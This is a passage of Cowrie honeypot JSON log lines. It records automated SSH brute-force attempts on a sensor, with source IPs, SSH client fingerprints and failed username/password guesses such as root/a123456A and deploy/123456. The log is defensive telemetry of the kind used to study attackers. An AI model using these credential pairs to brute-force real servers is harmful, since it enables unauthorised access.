-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:54.894196Z","src_ip":"91.92.42.133","session":"0869caab87aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:55.528650Z","src_ip":"91.92.42.133","session":"0869caab87aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:56.732359Z","src_ip":"91.92.40.171","session":"416b81c5b590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:57.153660Z","src_ip":"91.92.42.133","session":"0869caab87aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57542,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1fba7c04651","protocol":"ssh","message":"New connection: 91.92.40.171:57542 (159.203.135.109:22) [session: c1fba7c04651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:57.641128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:57.902148Z","src_ip":"91.92.40.171","session":"c1fba7c04651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:57.905265Z","src_ip":"91.92.40.171","session":"c1fba7c04651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:58.415304Z","src_ip":"91.92.40.171","session":"c1fba7c04651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:59.564058Z","src_ip":"91.92.40.171","session":"c1fba7c04651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:59.632950Z","src_ip":"91.92.40.171","session":"22b3876f6d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58174,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c7991d2dfb7","protocol":"ssh","message":"New connection: 91.92.42.133:58174 (159.203.135.109:22) [session: 2c7991d2dfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:00.900274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:01.448925Z","src_ip":"91.92.42.133","session":"2c7991d2dfb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:01.452490Z","src_ip":"91.92.42.133","session":"2c7991d2dfb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:01.562441Z","src_ip":"91.92.40.171","session":"22b3876f6d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c66ddabe67","protocol":"telnet","message":"New connection: 94.23.66.112:46798 (10.17.0.5:23) [session: 80c66ddabe67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:02.513463Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57580,"dst_ip":"159.203.135.109","dst_port":22,"session":"c46b6089e5f7","protocol":"ssh","message":"New connection: 91.92.40.171:57580 (159.203.135.109:22) [session: c46b6089e5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:03.174229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:03.244360Z","src_ip":"91.92.40.171","session":"c46b6089e5f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:03.435885Z","src_ip":"91.92.42.133","session":"2c7991d2dfb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:03.489794Z","src_ip":"91.92.40.171","session":"c46b6089e5f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:04.257641Z","src_ip":"91.92.40.171","session":"c46b6089e5f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:04.782165Z","src_ip":"91.92.42.133","session":"2c7991d2dfb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:05.367634Z","src_ip":"91.92.40.171","session":"c46b6089e5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38830,"dst_ip":"159.203.135.109","dst_port":22,"session":"294683a202e8","protocol":"ssh","message":"New connection: 91.92.40.171:38830 (159.203.135.109:22) [session: 294683a202e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:08.724053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:08.742823Z","src_ip":"91.92.40.171","session":"294683a202e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38104,"dst_ip":"159.203.135.109","dst_port":22,"session":"5547a223c6bd","protocol":"ssh","message":"New connection: 91.92.42.133:38104 (159.203.135.109:22) [session: 5547a223c6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:08.788677Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:08.821062Z","src_ip":"91.92.40.171","session":"294683a202e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:09.077045Z","src_ip":"91.92.42.133","session":"5547a223c6bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:09.079338Z","src_ip":"91.92.42.133","session":"5547a223c6bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123321","message":"login attempt [dev/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:09.183427Z","src_ip":"91.92.40.171","session":"294683a202e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:10.181278Z","src_ip":"91.92.42.133","session":"5547a223c6bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:10.349805Z","src_ip":"91.92.40.171","session":"294683a202e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:11.418307Z","src_ip":"91.92.42.133","session":"5547a223c6bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38938,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab3e2fc4d198","protocol":"ssh","message":"New connection: 91.92.40.171:38938 (159.203.135.109:22) [session: ab3e2fc4d198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:14.355238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:14.369926Z","src_ip":"91.92.40.171","session":"ab3e2fc4d198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:14.438956Z","src_ip":"91.92.40.171","session":"ab3e2fc4d198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:14.779321Z","src_ip":"91.92.40.171","session":"ab3e2fc4d198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:16.083218Z","src_ip":"91.92.40.171","session":"ab3e2fc4d198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33400,"dst_ip":"159.203.135.109","dst_port":22,"session":"28afb56e1f91","protocol":"ssh","message":"New connection: 91.92.42.133:33400 (159.203.135.109:22) [session: 28afb56e1f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:16.798944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:16.891577Z","src_ip":"91.92.42.133","session":"28afb56e1f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:16.895997Z","src_ip":"91.92.42.133","session":"28afb56e1f91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:17.805047Z","src_ip":"91.92.42.133","session":"28afb56e1f91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:18.901137Z","src_ip":"91.92.42.133","session":"28afb56e1f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55016,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de29bccb365","protocol":"ssh","message":"New connection: 91.92.40.171:55016 (159.203.135.109:22) [session: 7de29bccb365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:20.014796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:20.072402Z","src_ip":"91.92.40.171","session":"7de29bccb365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:20.142788Z","src_ip":"91.92.40.171","session":"7de29bccb365","protocol":"ssh"}
